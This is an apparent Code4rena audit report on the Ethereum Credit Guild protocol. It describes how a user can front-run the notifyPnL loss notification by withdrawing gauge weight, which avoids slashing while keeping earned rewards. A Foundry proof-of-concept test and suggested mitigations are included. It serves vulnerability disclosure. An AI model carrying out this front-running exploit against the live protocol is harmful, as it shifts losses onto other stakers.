Ethereum Credit Guild - Mike_Bello90's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L292-L405 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20Gauges.sol#L301-L332

Vulnerability details

Impact

A user can earn rewards from the protocol and at the same time avoid any losses generated by a gauge setting a bot that listens to the mempool for the call to notifyPnL function in the profit manager and front-run this call to withdraw his weight in the gauge.

This is possible because:

1. The protocol will deploy on the Ethereum chain and similar chains.
2. There is no mechanism to avoid or freeze decrement gauges weight before a call to notifyPnL function from the profit manager.

Proof of Concept

Currently, in the system, any user/contract can call incrementGauge function in the Guild Token to enter a Lending Term and earn rewards from the interest generated by the loans from that LendingTerm.

The users can call the incrementGauge function at any time and when they want to get out of the Lending term they can call decrementGauge function to withdraw their weight; when a user withdraws all the weight from a term the losses that this term generate after that are not applied to the user cause he already withdraws his weight, taking into account that the protocol will be deployed on Ethereum and other chains and that there is no mechanism to avoid users front-running the call to notifyPnL or to freeze weights for a period of time, this opens the door for users to avoid assuming losses and getting slashed in terms that generate losses.

Let's imagine the next scenario for one user, but this can be applied by multiple users with big amounts of money:

1. A User creates a contract(bot) that lets him interact with the ECG protocol, this contract lets him enter different terms, claim rewards from them, and listen to calls to notifyPnL from the gauges he enters.
2. This user uses the contract to interact with the ECG system, it calls incrementGauges function to enter many gauges/terms so he can earn interest from all of these gauges.
3. Time has passed and the user has been collecting rewards from all the terms without problems.
4. Now some terms the user entered generate losses, these losses have to be notified to cover the losses and slash user voting on these gauges.
5. The GAUGE_PNL_NOTIFIER sends a call to notifyPnL to notify the loss and start the process of slashing and applying losses to users voting this term.
6. The user's bot sees this call in the mempool and front-runs it to withdraw all his weight in these gauges so he can avoid losses.

Due to there is not any protection against this in the protocol, any user can effectively earn rewards and avoid losses by avoiding being slashed when the terms generate bad debt with a vector attack like this one.

Here I added a POC simulating the user entering in terms, claiming rewards and front-running the notify loss call to avoid losses.

Added POC in the ProfitManager.t.sol contract.

    function test_UsersCan_AvoidLosses_FrontRunning_notifyPnL() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        // setup
        // 50-50 profit split between GUILD & CREDIT
        // 150 CREDIT circulating (100 rebasing on test contract, 50 non rebasing on alice)
        // 550 GUILD, 500 voting in gauges :
        //   - 50 on gauge1 (alice)
        //   - 250 on gauge2 (50 alice, 200 bob)
        //   - 200 on gauge3 (200 bob)
        credit.mint(alice, 50e18);
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        guild.setMaxGauges(3);
        guild.addGauge(1, gauge1);
        guild.addGauge(1, gauge2);
        guild.addGauge(1, gauge3);

        guild.mint(alice, 150e18);
        guild.mint(bob, 400e18);
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, 50e18);
        guild.incrementGauge(gauge2, 50e18);
        vm.stopPrank();
        vm.startPrank(bob);
        guild.incrementGauge(gauge2, 200e18);
        guild.incrementGauge(gauge3, 200e18);
        vm.stopPrank();
        assertEq(guild.userUnusedWeight(alice), 50e18);

        // simulate 20 profit on gauge1
        // 10 goes to alice (guild voting)
        // 10 goes to test (rebasing credit)
        credit.mint(address(profitManager), 20e18);
        profitManager.notifyPnL(gauge1, 20e18);
        vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
        assertEq(profitManager.claimRewards(alice), 10e18);
        assertEq(profitManager.claimRewards(bob), 0);
        assertEq(credit.balanceOf(address(this)), 110e18);

        // Now the gauges generate losses, and alice front-run the call to avoid being slashed.        
         vm.prank(alice);
        guild.decrementGauge(gauge1, 50e18);  
        //Call to Notify the losses
        profitManager.notifyPnL(gauge1, -50e18);

        // Alice Front Run
        vm.prank(alice);
        guild.decrementGauge(gauge2, 50e18); 
        //Call to Notify the losses
        profitManager.notifyPnL(gauge2, -50e18);

        //Alice has his guild balance and earnings intact
        assertEq(credit.balanceOf(alice), 50e18 + 10e18);
        assertEq(guild.userUnusedWeight(alice), 150e18);

    }

Tools Used

Manual Code Review & Foundry.

Recommended Mitigation Steps

A way to solve this could be to implement a freezing time of a few blocks at least for the decrementGauge function, so users who are waiting for the freeze time to end can be slashed if they were voting on the gauge that generated losses on that freeze time.

Another way could be using services like Flashbots in important calls like the notifyPnL function to avoid being front-run by users looking to avoid losses.

Assessed type

Other